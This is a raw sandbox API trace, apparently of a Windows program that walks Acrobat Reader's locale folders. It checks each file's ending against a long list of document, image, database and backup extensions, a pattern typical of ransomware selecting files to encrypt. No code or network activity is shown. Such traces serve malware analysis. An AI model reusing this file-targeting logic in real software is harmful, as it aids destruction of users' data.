	[0176.713] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0176.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.740] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0176.741] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.741] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0176.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.742] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0176.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.743] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0176.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.743] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0176.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.744] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0176.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.745] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0176.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.745] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0176.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.746] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0176.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.748] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0176.749] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.749] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0176.749] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-fr") returned 120
	[0176.749] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-fr") returned 1
	[0176.749] lstrlenW (lpString="fr-fr") returned 5
	[0176.749] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-fr") returned -1
	[0176.749] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42c29b8
	[0176.749] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-fr") returned 120
	[0176.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0176.750] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0176.750] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.750] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.750] lstrlenW (lpString=".1cd") returned 4
	[0176.750] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0176.750] lstrlenW (lpString=".3ds") returned 4
	[0176.750] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0176.750] lstrlenW (lpString=".3fr") returned 4
	[0176.750] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0176.750] lstrlenW (lpString=".3g2") returned 4
	[0176.750] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0176.750] lstrlenW (lpString=".3gp") returned 4
	[0176.750] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0176.750] lstrlenW (lpString=".7z") returned 3
	[0176.750] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0176.750] lstrlenW (lpString=".accda") returned 6
	[0176.750] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0176.751] lstrlenW (lpString=".accdb") returned 6
	[0176.751] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0176.751] lstrlenW (lpString=".accdc") returned 6
	[0176.751] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0176.751] lstrlenW (lpString=".accde") returned 6
	[0176.751] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0176.751] lstrlenW (lpString=".accdt") returned 6
	[0176.751] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0176.751] lstrlenW (lpString=".accdw") returned 6
	[0176.751] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0176.751] lstrlenW (lpString=".adb") returned 4
	[0176.751] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".adp") returned 4
	[0176.751] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".ai") returned 3
	[0176.751] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0176.751] lstrlenW (lpString=".ai3") returned 4
	[0176.751] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".ai4") returned 4
	[0176.751] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".ai5") returned 4
	[0176.751] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".ai6") returned 4
	[0176.751] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".ai7") returned 4
	[0176.751] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".ai8") returned 4
	[0176.751] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".anim") returned 5
	[0176.751] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0176.751] lstrlenW (lpString=".arw") returned 4
	[0176.751] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0176.751] lstrlenW (lpString=".as") returned 3
	[0176.751] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0176.752] lstrlenW (lpString=".asa") returned 4
	[0176.752] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".asc") returned 4
	[0176.752] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".ascx") returned 5
	[0176.752] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0176.752] lstrlenW (lpString=".asm") returned 4
	[0176.752] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".asmx") returned 5
	[0176.752] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0176.752] lstrlenW (lpString=".asp") returned 4
	[0176.752] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".aspx") returned 5
	[0176.752] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0176.752] lstrlenW (lpString=".asr") returned 4
	[0176.752] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".asx") returned 4
	[0176.752] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".avi") returned 4
	[0176.752] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".avs") returned 4
	[0176.752] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".backup") returned 7
	[0176.752] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0176.752] lstrlenW (lpString=".bak") returned 4
	[0176.752] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".bay") returned 4
	[0176.752] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".bd") returned 3
	[0176.752] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0176.752] lstrlenW (lpString=".bin") returned 4
	[0176.752] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0176.752] lstrlenW (lpString=".bmp") returned 4
	[0176.752] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".bz2") returned 4
	[0176.753] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".c") returned 2
	[0176.753] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0176.753] lstrlenW (lpString=".cdr") returned 4
	[0176.753] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".cer") returned 4
	[0176.753] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".cf") returned 3
	[0176.753] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0176.753] lstrlenW (lpString=".cfc") returned 4
	[0176.753] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".cfm") returned 4
	[0176.753] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".cfml") returned 5
	[0176.753] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0176.753] lstrlenW (lpString=".cfu") returned 4
	[0176.753] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".chm") returned 4
	[0176.753] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".cin") returned 4
	[0176.753] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".class") returned 6
	[0176.753] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0176.753] lstrlenW (lpString=".clx") returned 4
	[0176.753] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".config") returned 7
	[0176.753] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0176.753] lstrlenW (lpString=".cpp") returned 4
	[0176.753] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".cr2") returned 4
	[0176.753] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0176.753] lstrlenW (lpString=".crt") returned 4
	[0176.753] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".crw") returned 4
	[0176.754] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".cs") returned 3
	[0176.754] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0176.754] lstrlenW (lpString=".css") returned 4
	[0176.754] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".csv") returned 4
	[0176.754] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".cub") returned 4
	[0176.754] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dae") returned 4
	[0176.754] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dat") returned 4
	[0176.754] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".db") returned 3
	[0176.754] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0176.754] lstrlenW (lpString=".dbf") returned 4
	[0176.754] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dbx") returned 4
	[0176.754] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dc3") returned 4
	[0176.754] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dcm") returned 4
	[0176.754] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dcr") returned 4
	[0176.754] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".der") returned 4
	[0176.754] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0176.754] lstrlenW (lpString=".dib") returned 4
	[0176.755] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dic") returned 4
	[0176.755] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dif") returned 4
	[0176.755] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".divx") returned 5
	[0176.755] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0176.755] lstrlenW (lpString=".djvu") returned 5
	[0176.755] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0176.755] lstrlenW (lpString=".dng") returned 4
	[0176.755] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".doc") returned 4
	[0176.755] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".docm") returned 5
	[0176.755] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0176.755] lstrlenW (lpString=".docx") returned 5
	[0176.755] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0176.755] lstrlenW (lpString=".dot") returned 4
	[0176.755] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dotm") returned 5
	[0176.755] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0176.755] lstrlenW (lpString=".dotx") returned 5
	[0176.755] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0176.755] lstrlenW (lpString=".dpx") returned 4
	[0176.755] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dqy") returned 4
	[0176.755] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dsn") returned 4
	[0176.755] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dt") returned 3
	[0176.755] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0176.755] lstrlenW (lpString=".dtd") returned 4
	[0176.755] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0176.755] lstrlenW (lpString=".dwg") returned 4
	[0176.756] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".dwt") returned 4
	[0176.756] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".dx") returned 3
	[0176.756] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0176.756] lstrlenW (lpString=".dxf") returned 4
	[0176.756] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".edml") returned 5
	[0176.756] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0176.756] lstrlenW (lpString=".efd") returned 4
	[0176.756] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".elf") returned 4
	[0176.756] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".emf") returned 4
	[0176.756] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".emz") returned 4
	[0176.756] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".epf") returned 4
	[0176.756] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".eps") returned 4
	[0176.756] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0176.756] lstrlenW (lpString=".epsf") returned 5
	[0176.756] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0176.756] lstrlenW (lpString=".epsp") returned 5
	[0176.756] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0176.757] lstrlenW (lpString=".erf") returned 4
	[0176.757] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".exr") returned 4
	[0176.757] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".f4v") returned 4
	[0176.757] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".fido") returned 5
	[0176.757] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0176.757] lstrlenW (lpString=".flm") returned 4
	[0176.757] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".flv") returned 4
	[0176.757] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".frm") returned 4
	[0176.757] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".fxg") returned 4
	[0176.757] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".geo") returned 4
	[0176.757] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".gif") returned 4
	[0176.757] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".grs") returned 4
	[0176.757] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".gz") returned 3
	[0176.757] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0176.757] lstrlenW (lpString=".h") returned 2
	[0176.757] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0176.757] lstrlenW (lpString=".hdr") returned 4
	[0176.757] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".hpp") returned 4
	[0176.757] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".hta") returned 4
	[0176.757] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0176.757] lstrlenW (lpString=".htc") returned 4
	[0176.758] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".htm") returned 4
	[0176.758] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".html") returned 5
	[0176.758] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0176.758] lstrlenW (lpString=".icb") returned 4
	[0176.758] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".ics") returned 4
	[0176.758] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".iff") returned 4
	[0176.758] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".inc") returned 4
	[0176.758] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".indd") returned 5
	[0176.758] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0176.758] lstrlenW (lpString=".ini") returned 4
	[0176.758] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".iqy") returned 4
	[0176.758] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".j2c") returned 4
	[0176.758] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".j2k") returned 4
	[0176.758] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".java") returned 5
	[0176.758] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0176.758] lstrlenW (lpString=".jp2") returned 4
	[0176.758] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".jpc") returned 4
	[0176.758] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".jpe") returned 4
